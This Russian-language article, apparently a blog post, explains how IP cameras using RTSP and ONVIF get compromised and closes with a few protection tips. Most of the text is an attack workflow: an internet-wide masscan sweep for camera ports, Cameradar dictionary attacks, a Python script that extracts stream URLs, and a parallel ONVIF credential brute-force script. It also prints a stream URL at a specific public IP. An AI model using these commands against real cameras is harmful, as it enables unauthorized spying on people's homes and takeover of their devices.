Представьте: вы установили IP камеру, чтобы спать спокойно, а она вдруг стала окном для посторонних глаз. Знакомо? В этой статье вы узнаете, как работают IP камеры, почему их легко взломать, и как защитить себя от неприятностей. Мы разберём протоколы RTSP и ONVIF, покажем, как искать уязвимости и что делать, чтобы не стать жертвой хакеров.


Почему IP камеры — это не просто "глазок" на стене

IP камеры — это маленькие компьютеры с камерой, подключённые к интернету. Они стримят видео, управляются удалённо, и, как любой компьютер, могут иметь дыры в безопасности. Только представьте: камера с AliExpress, дёшево и сердито, но с дырой, через которую любой может заглянуть в ваш дом.

Взлом IP камеры — не фантастика, а реальность. Старенькое приложение ONVIF Device Manager за секунду находит камеру и показывает видео без паролей. Управлять камерой — поворачивать, менять настройки — тоже можно без авторизации. Родная админка при этом может быть недоступна.


Что такое протокол RTSP и почему он важен

RTSP (Real Time Streaming Protocol) — это язык, на котором камера "говорит" с проигрывателем видео. Он не сжимает видео и не передаёт данные напрямую, а управляет потоками: запуск, пауза, остановка.

Чтобы посмотреть видео с камеры по RTSP, нужен URL и логин с паролем. Но иногда камеры настроены так, что доступ открыт без пароля. Тогда любой может подключиться через VLC или Mplayer и смотреть видео.

Пример RTSP URL:

rtsp://118.39.210.69/rtsp_tunnel?h26x=4&line=1&inst=1

Порты, на которых обычно работает RTSP: 554, 5554, 8554.


Как искать уязвимости в IP камерах с помощью Cameradar

Cameradar — это программа, которая сканирует IP камеры, ищет открытые порты RTSP, определяет модель устройства и пытается подобрать логин и пароль по словарю. Она умеет:

  • Обнаруживать открытые RTSP порты
  • Определять модель камеры
  • Подбирать URL потока и учётные данные
  • Давать отчёт о результатах

Запуск прост:

cameradar -t 192.168.1.72

Но есть подвох: Cameradar медленная и нестабильная. На сканирование даже одного IP уходит много времени. Поэтому лучше не использовать её для больших сетей.


Как собрать список IP камер для проверки

Чтобы найти камеры, нужно сначала просканировать сеть на открытые порты RTSP. Для этого подходит Masscan — быстрый сканер портов.

Пример команды:

sudo masscan 0.0.0.0/0 --exclude 255.255.255.255 --randomize-hosts --rate 200 -p 554,5554,8554 --output-filename cameras.xml

Затем из файла cameras.xml извлекаем IP адреса:

cat cameras.xml | grep -o -E '[0-9]{1,3}(\.[0-9]{1,3}){3}' | sort | uniq > hosts.txt

Теперь у вас есть список IP для проверки Cameradar.


Протокол ONVIF — что это и почему он опасен

ONVIF — стандарт для управления IP камерами и другими сетевыми устройствами. Он использует XML-запросы для управления камерой: получение информации, настройка, поворот.

Проблема в том, что многие камеры позволяют выполнять команды по ONVIF без пароля. Это значит, что злоумышленник может получить доступ к видео и управлению камерой.

ONVIF обычно работает на портах: 8899, 80, 8080, 5000, 6688.


Как проверить камеру на поддержку ONVIF и получить информацию

Можно отправить XML-запрос с помощью cURL:

curl -s http://IP_КАМЕРЫ:8899/onvif/device_service -d @GetCapabilities.xml

Если получен ответ с GetCapabilitiesResponse, значит камера поддерживает ONVIF.

Для удобства есть Python-библиотека python-onvif:

sudo pip3 install --upgrade onvif_zeep

Пример скрипта extractor.py, который получает информацию о камере и URL видеопотока:

import sys
from onvif import ONVIFCamera

ip = sys.argv[1]
port = int(sys.argv[2])
user = sys.argv[3] if len(sys.argv) > 3 else ''
password = sys.argv[4] if len(sys.argv) > 4 else ''

cam = ONVIFCamera(ip, port, user, password, '/usr/local/lib/python3.9/site-packages/wsdl/')
info = cam.devicemgmt.GetDeviceInformation()
print(info)
media = cam.create_media_service()
profiles = media.GetProfiles()
token = profiles[0].token
stream = media.create_type('GetStreamUri')
stream.ProfileToken = token
stream.StreamSetup = {'Stream': 'RTP-Unicast', 'Transport': {'Protocol': 'RTSP'}}
uri = media.GetStreamUri(stream)
print(uri)

Запуск:

python3 extractor.py 192.168.1.10 80

Автоматизация поиска камер с открытым ONVIF

Написан скрипт checker.sh, который проверяет несколько портов на наличие ONVIF и сохраняет результаты.

Запуск для одного IP:

bash checker.sh 192.168.1.10

Для массовой проверки можно использовать GNU Parallel:

parallel -j20 -a hosts.txt 'bash checker.sh {1}'

Брутфорс учётных данных ONVIF камер

Если камера требует логин и пароль, можно попытаться подобрать их с помощью скрипта bruteforcer.py:

import sys
from onvif import ONVIFCamera

ip = sys.argv[1]
port = int(sys.argv[2])
user = sys.argv[3]
password = sys.argv[4]

try:
    cam = ONVIFCamera(ip, port, user, password, '/usr/local/lib/python3.9/site-packages/wsdl/')
    info = cam.devicemgmt.GetDeviceInformation()
    print(info)
except Exception:
    pass

Пример запуска с параллельным перебором:

parallel -j2 -a usernames.txt -a passwords.txt 'python3 bruteforcer.py 192.168.1.10 80 {1} {2} 2>/dev/null'

Практические советы по защите IP камер

  • Меняйте пароли по умолчанию. Не оставляйте "admin/admin" или пустые пароли.
  • Обновляйте прошивку камеры. Производители исправляют уязвимости.
  • Отключайте ненужные протоколы. Если не используете ONVIF или RTSP, отключите их.
  • Используйте VPN для доступа. Не открывайте камеры напрямую в интернет.
  • Проверяйте камеры на уязвимости. Используйте описанные инструменты.
  • Изолируйте камеры в отдельной сети. Это ограничит доступ к ним.

Итог

IP камеры — это не просто устройства для наблюдения, а полноценные компьютеры с сетевыми сервисами. Протоколы RTSP и ONVIF дают удобство, но и открывают двери для злоумышленников. Используйте инструменты Cameradar, python-onvif и Masscan, чтобы проверить свои камеры. Не забывайте про базовые меры безопасности — и тогда ваш "глазок" будет смотреть только на злоумышленников, а не наоборот.


Таблица портов и протоколов IP камер

Протокол Описание Стандартные порты
RTSP Потоковое видео, управление 554, 5554, 8554
ONVIF Управление камерой, получение данных 80, 8080, 8899, 5000, 6688

Дополнительные материалы

  • Инструкция по записи видео с IP камеры через RTSP
  • Руководство по использованию GNU Parallel для массовых проверок
  • Статья о протоколе HNAP и его уязвимостях

Защитите свои камеры, чтобы не стать героем чужого шпионского фильма!